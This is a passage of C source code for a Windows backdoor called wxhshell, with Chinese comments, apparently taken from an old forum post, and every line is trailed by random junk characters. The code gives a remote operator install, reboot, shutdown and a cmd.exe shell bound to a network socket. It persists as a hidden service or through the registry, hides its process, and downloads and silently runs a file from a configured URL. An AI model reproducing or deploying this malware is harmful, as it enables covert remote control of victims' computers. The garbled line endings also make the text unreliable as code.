  // 帮助 W97 &[([  
  case '?': { +e) RT<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dYhLk2  
    break; mWU*}-M  
  } Q$2^m(?;  
  // 安装 |)Sx"B)  
  case 'i': { tA9(N>[ *  
    if(Install()) +,}CuF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >V3pYRA   
    else 4Jj O.H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i{ 2rQy+  
    break; ++0xa%:  
    } l7GLN1#m  
  // 卸载 [>f4&yY  
  case 'r': { :aMp,DfM]P  
    if(Uninstall()) !& xc.39  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %i`YJ  
    else Dz&<6#L<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ctL,Mqr\Z  
    break; Hy1f,D  
    } ACxjY2  
  // 显示 wxhshell 所在路径 \6v*c;ZF  
  case 'p': { ]i pltR7k  
    char svExeFile[MAX_PATH]; GGn/J&k  
    strcpy(svExeFile,"\n\r"); 9!|.b::  
      strcat(svExeFile,ExeFile); pn2_ {8.  
        send(wsh,svExeFile,strlen(svExeFile),0); ek4?|!kQD  
    break; eVy\)dCsU  
    } ?HaUT(\j  
  // 重启 +0O^!o  
  case 'b': { :n<<hR0d  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); dNcP_l/A  
    if(Boot(REBOOT)) gw9:1S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a0x/? )DO  
    else { 6995r%  
    closesocket(wsh); `=f1rXhI+1  
    ExitThread(0); -* ;`~5  
    } #$9rH 2zd  
    break; o*WI*Fb'  
    } a"0'cgB}  
  // 关机 v:$Y |mh  
  case 'd': { jP|(y]!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \muC_9ke  
    if(Boot(SHUTDOWN)) )|@UY(VZ^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (s.S n(E  
    else { ur2`.dY>3"  
    closesocket(wsh); !ZlNPPrq}  
    ExitThread(0); =24<d!R  
    } yasKU6^R'  
    break; 1(z+*`"WB&  
    } .EUOKPK4W  
  // 获取shell YG6Kvc6T  
  case 's': { (eAh8^)  
    CmdShell(wsh); y:8*!}fR  
    closesocket(wsh); .J3Dk=/  
    ExitThread(0); a<K@rgQ  
    break; f<0nj?  
  } ~8G<Nw4*\  
  // 退出 7|Tu@0XXA  
  case 'x': { o$DJL11E  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); oLp:Z=  
    CloseIt(wsh); X`k[ J6  
    break; u)fmXoQ  
    } !]k$a  
  // 离开 3_tO  
  case 'q': { i3} ^j?jA2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]gQ4qu5  
    closesocket(wsh); 5:H9B  
    WSACleanup(); ?pv}~>  
    exit(1); DHV#PLbN$  
    break; T9+ ?A l  
        } +}@HtjM  
  } [UHDN:y  
  } cHMS[.=;  
Y+tXWN"8  
  // 提示信息 =NzA2td  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8y{<M"v+/  
} @"#W\m8  
  } 6"W~%FSJX  
43Yav+G(+  
  return; 'L2M  W  
} oA&V,r  
6Hn3  
// shell模块句柄 !%?X% @9  
int CmdShell(SOCKET sock) WeTsva+  
{ &` u<KKF6  
STARTUPINFO si; ToN$x^M w  
ZeroMemory(&si,sizeof(si)); p|M  8ww  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?Q]{d'g(sx  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~sQN\]5VW  
PROCESS_INFORMATION ProcessInfo; 5Qik{cWxBq  
char cmdline[]="cmd"; DT@6Q.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yjVPaEu]aU  
  return 0; !#nlWX :~  
} g(Jzu'  
N}>XBZy  
// 自身启动模式 Eq9TJt'3y  
int StartFromService(void) oO|zRK1;/  
{ #"a?3!wr  
typedef struct DLkNL?a  
{ _Va!Ky =]  
  DWORD ExitStatus; z$E+xZ  
  DWORD PebBaseAddress; 1@kPl[`p'  
  DWORD AffinityMask; OCF\*Sx  
  DWORD BasePriority; elZ?>5P$}  
  ULONG UniqueProcessId; F t%f"Z  
  ULONG InheritedFromUniqueProcessId; 02} &h  
}   PROCESS_BASIC_INFORMATION; 8| zR8L  
"2X=i`rTi  
PROCNTQSIP NtQueryInformationProcess; @M?N[LG  
u7&r'rZ1_!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d^IOB|6Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; LF0gy3  
>UpTMEQ  
  HANDLE             hProcess; "';'*x  
  PROCESS_BASIC_INFORMATION pbi; @YP\!#"8  
REhXW_x  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =V1k'XJ  
  if(NULL == hInst ) return 0; s@f4f__(]  
)]!Ps` ,u  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fM_aDSRa!H  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gqJ&Q t#f  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %FQMB  
hZ.Sj~> 7`  
  if (!NtQueryInformationProcess) return 0; _Q/D%7[pa  
(^Xp\dyZL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pK4I?=A'  
  if(!hProcess) return 0; m~#S76!w  
'!Vn  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *~M=2Fj;i  
<FMW%4   
  CloseHandle(hProcess); ` &|Rs  
z?h\7 R  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J}TS-j0  
if(hProcess==NULL) return 0; ;k/y[ x}  
^v3ytS  
HMODULE hMod; )ye[R^!}  
char procName[255];  ^DVr>u  
unsigned long cbNeeded; bc5+}&W  
";9cYoKRY  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {J%hTjCw  
/Yc!m$uCW  
  CloseHandle(hProcess); '@wYr|s4  
R,/?p  
if(strstr(procName,"services")) return 1; // 以服务启动 ()K%Rn  
=lS~2C  
  return 0; // 注册表启动 0[xum  
} bP6QF1L  
4>{q("r,  
// 主模块 n<kcK  
int StartWxhshell(LPSTR lpCmdLine) a |32Pn  
{ Rs{L  
  SOCKET wsl; Qwk  
BOOL val=TRUE; oKz|hks[6  
  int port=0; Uq~{=hMX  
  struct sockaddr_in door; |h*H;@$  
(}"r 5  
  if(wscfg.ws_autoins) Install(); vAq`*]W+  
$uawQf+S  
port=atoi(lpCmdLine); 8N!E`{W  
w]UYD;f  
if(port<=0) port=wscfg.ws_port; 3ZU`}  
S3:Pjz}t  
  WSADATA data; _C&2-tnp  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \)DP(wC  
 e1S |&W8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vX)JJ|g  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4/S 4bk*8  
  door.sin_family = AF_INET; 7h<Q{X<A  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6~0S%Hz   
  door.sin_port = htons(port); Y1H8+a5@  
q+3Z3v  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,!|/|4vh  
closesocket(wsl); gT'c`3Gkz  
return 1; y^pk)`y8  
} RhnSQe  
-$?xR](f  
  if(listen(wsl,2) == INVALID_SOCKET) { wS <d8gw  
closesocket(wsl); ln'7kg  
return 1;  ]P(:z  
} 3) zanoYHi  
  Wxhshell(wsl); c7q1;X{:  
  WSACleanup(); %(Nu"3|$K=  
._~_OVU  
return 0; qWHH% L;  
/0d_{Y+9  
}  3@J0-w  
V z8o  
// 以NT服务方式启动 5 1@V""m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |J'@-*5?[8  
{ 0V"r$7(}  
DWORD   status = 0; >1,.4)k%K  
  DWORD   specificError = 0xfffffff; XN5EZ#  
8*H-</ =  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \ZigG{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; S WVeUL#5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =2\k Jv3  
  serviceStatus.dwWin32ExitCode     = 0; nY'0*:'u  
  serviceStatus.dwServiceSpecificExitCode = 0; 1<fS&)^W  
  serviceStatus.dwCheckPoint       = 0; y!6B Gz  
  serviceStatus.dwWaitHint       = 0; ANc)igo  
kTAb <  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ixw3Z D(>+  
  if (hServiceStatusHandle==0) return; UQaLhK v:  
~urIA/  
status = GetLastError(); 2#kR1rJP  
  if (status!=NO_ERROR) dd@^e)VZB  
{ 93XTumpV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &v Lz{  
    serviceStatus.dwCheckPoint       = 0; ,icgne1j  
    serviceStatus.dwWaitHint       = 0; mFjX  
    serviceStatus.dwWin32ExitCode     = status; ,fpu@@2  
    serviceStatus.dwServiceSpecificExitCode = specificError; e ,/I}W  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u&/q7EBfP  
    return; l{>fma]7  
  } Uy5IvG;O+  
=zDU!< U  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @ JZ I  
  serviceStatus.dwCheckPoint       = 0; ?FVX &{{V  
  serviceStatus.dwWaitHint       = 0; w>p0ldi  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L$cNxz0$  
} #M$[C d I$  
Jor >YB`X  
// 处理NT服务事件,比如:启动、停止 -ZlBg~E  
VOID WINAPI NTServiceHandler(DWORD fdwControl) zIi|z}WJ  
{ TUIj-HSe  
switch(fdwControl) bTHKMaGWC  
{ c$rkbbf~V  
case SERVICE_CONTROL_STOP: 0Jm6 r4s?  
  serviceStatus.dwWin32ExitCode = 0; KiT>W~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,a eQXI#@  
  serviceStatus.dwCheckPoint   = 0; 8;ke,x  
  serviceStatus.dwWaitHint     = 0; S(.AE@U  
  {  iE=Yh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =<e|<EwSZ  
  } -$f~V\M  
  return; l)[\TD  
case SERVICE_CONTROL_PAUSE: n1 =B  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; q&Y'zyHLP  
  break; gS_)(  
case SERVICE_CONTROL_CONTINUE: vp? 87h  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; t 9&xk?%{  
  break; ((Ak/qz  
case SERVICE_CONTROL_INTERROGATE: ;&q}G1  
  break; I@+h| n  
}; j2c -01}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S_/9eI~X  
} <`i " 5`J  
15+>W4v  
// 标准应用程序主函数 |!E>I  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) dqnH7okZ  
{ y  >r7(qg  
;,[6 n|M  
// 获取操作系统版本 {a\O7$A\F  
OsIsNt=GetOsVer(); 5ppOG_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =.(yOUI  
>A5R  
  // 从命令行安装 %@#+Xpa+  
  if(strpbrk(lpCmdLine,"iI")) Install(); `E+)e?z  
f uQbDb&  
  // 下载执行文件 $h`(toTyF  
if(wscfg.ws_downexe) { k"\%x =#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T$T:~8tK3  
  WinExec(wscfg.ws_filenam,SW_HIDE); Aayh'xQ  
} gKeqf-UWKJ  
NdGIH/Y;M  
if(!OsIsNt) { . <`i!Ls  
// 如果时win9x,隐藏进程并且设置为注册表启动 ig<Eyr  
HideProc(); [zl@7X1{_  
StartWxhshell(lpCmdLine); _8P"/( `Rw  
} ) DXN|<A  
else _x&;Fa%  
  if(StartFromService()) gD10C,{  
  // 以服务方式启动 {a^A-Xh[u  
  StartServiceCtrlDispatcher(DispatchTable); 0B fqEAl  
else Zu`; S#Y  
  // 普通方式启动 h6<abT@I  
  StartWxhshell(lpCmdLine); ~T@t7Cg  
BZejqDr*  
return 0; x|U~?  
}
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只看该作者 1 发表于: 2006-10-10
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